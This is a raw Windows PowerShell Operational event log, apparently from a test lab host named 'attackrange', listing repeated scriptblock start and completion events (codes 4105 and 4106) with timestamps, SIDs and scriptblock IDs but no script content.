Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043995
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043973
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043971
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043970
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043953
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043947
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
